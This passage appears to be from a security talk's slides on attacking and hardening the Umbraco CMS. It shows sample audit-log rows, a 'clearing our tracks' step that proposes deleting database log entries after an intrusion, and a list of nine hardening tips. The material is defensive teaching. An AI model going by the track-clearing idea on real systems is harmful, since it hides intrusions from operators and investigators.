7	7	0	User "SYSTEM"	::1	2018-05-10 12:11:37.380	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/save	updating LastLoginDate, UpdateDate
8	8	0	User "SYSTEM"	::1	2018-05-10 12:11:37.427	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/sign-in/login	login success
9	9	5	User "jeffrey3@perplex.nl" <jeffrey3@perplex.nl></jeffrey3@perplex.nl>	::1	2018-05-10 12:11:40.497	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/save	updating TourData, UpdateDate
10	10	5	User "jeffrey3@perplex.nl" <jeffrey3@perplex.nl></jeffrey3@perplex.nl>	::1	2018-05-10 12:13:24.197	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/sign-in/logout	logout success
11	11	0	User "SYSTEM"	::1	2018-05-10 12:13:28.790	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/save	updating LastLoginDate, UpdateDate
12	12	0	User "SYSTEM"	::1	2018-05-10 12:13:28.883	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/sign-in/login	login success
13	13	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	::1	2018-05-10 12:13:38.837	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/save	updating LastLoginDate, UpdateDate
14	14	5	User "jeffrey3@perplex.nl" <jeffrey3@perplex.nl></jeffrey3@perplex.nl>	::1	2018-05-10 12:13:38.867	5	User "jeffrey3@perplex.nl" ⊲jeffrey3@perplex.nl>	umbraco/user/sign-in/login	login success
15	15	5	User "jeffrey3@perplex.nl" <jeffrey3@perplex.nl></jeffrey3@perplex.nl>	::1	2018-05-10 12:28:26.030	8	User "jeffrey5@perplex.nl" ⊲jeffrey5@perplex.nl>	umbraco/user/save	updating LastLoginDate, UpdateDate
16	16	5	User "jeffrey3@perplex.nl" <jeffrey3@perplex.nl></jeffrey3@perplex.nl>	::1	2018-05-10 12:28:26.213	8	User "jeffrey5@perplex.nl" ⊲jeffrey5@perplex.nl>	umbraco/user/sign-in/login	login success
17	17	8	User "jeffrey5@perplex.nl" <jeffrey5@perplex.nl></jeffrey5@perplex.nl>	::1	2018-05-10 12:28:31.593	8	User "jeffrey5@perplex.nl" ⊲jeffrey5@perplex.nl>	umbraco/user/save	updating TourData, UpdateDate
18	18	8	User "jeffrey5@perplex.nl" ⊲jeffrey5@perplex.nl>	::1	2018-05-10 12:36:20.587	8	User "jeffrey5@perplex.nl" <jeffrey5@perplex.nl></jeffrey5@perplex.nl>	umbraco/user/sign-in/logout	logout success

# But...

#### We've inserted data into the database before, so we can also delete entries from the Umbraco-database and hide our tracks...

028 <!-- Security by Jeffrey Schoemaker -->

<!-- Hardening tip 9-->

# Restrict database CRUD permissions by default

# Allow Read, Update and Delete only on some tables

<!-- END Hardening tip 9 --- >

Clearing these tables is a dbo-task, not a website task

028 <!-- Security by Jeffrey Schoemaker -->

Level 4 Clearing our tracks

# **Mission 4:** Accomplished

Cleared our presence on the webserver

#### **Removed ourselves from the** databaseserver

<!-- Security by Jeffrey Schoemaker -->



LEVEL 1

Footprint & Identification

LEVEL 2 Getting into Umbraco LEVEL 3 Privilege escalation

E HAPPY

LEVEL 4 Clearing our tracks



# All hardening tips

- Tip 1: Use IP-whitelisting on the Umbraco-folder
- Tip 2: Rename the Umbraco-folder
- Tip 3: IP-whitelist /config/, /App\_Plugins/ and /Umbraco\_Client
  - Tip 4: Upgrade Umbraco & your plugins
- Tip 5: Compile the packages yourself?
- Tip 6: In production, give read-only permissions on most folders
- Tip 7: Encrypt sensitive data in the database
- Tip 8: Store security related logs in the Event Viewer
- Tip 9: Minimize CRUD-permissions on your database tables

028 <!-- Security by Jeffrey Schoemaker -->

#### We have a more secure application!



#### <!-- Security -->

# " Don't outrun the bear, outrun your friends "

### Want more?

- Always check the documentation
- Umbraco.com/security
- Follow me on Twitter
  - @jschoemaker1984
- Umbraco security training or audit?
  - Drop me an email (jeffrey@perplex.nl)

# **Questions?**



# Thank you! Have a secure day!

